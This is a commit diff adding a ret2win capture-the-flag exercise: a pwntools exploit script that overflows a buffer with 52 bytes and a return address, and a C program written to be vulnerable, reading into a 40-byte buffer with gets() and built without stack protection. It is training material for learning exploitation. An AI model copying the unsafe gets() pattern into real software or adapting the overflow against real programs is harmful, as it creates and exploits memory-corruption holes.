added all ctfs

ir0nstone/ret2win/exploit.py

@@ -0,0 +1,14 @@
+from pwn import *
+
+p = process('./vuln')
+
+payload = b'A' * 52
+payload += p32(0x0804920f)
+
+log.info(p.clean())
+
+pause()
+
+p.sendline(payload)
+
+log.info(p.clean())

ir0nstone/ret2win/vuln.c

@@ -0,0 +1,18 @@
+// gcc source.c -o vuln -no-pie -fno-stack-protector -z execstack -m32
+
+#include <stdio.h>
+
+void unsafe() {
+    char buffer[40];
+    
+    puts("Overflow me");
+    gets(buffer);
+}
+
+void main() {
+    unsafe();
+}
+
+void flag() {
+    puts("Exploited!!!!!");
+}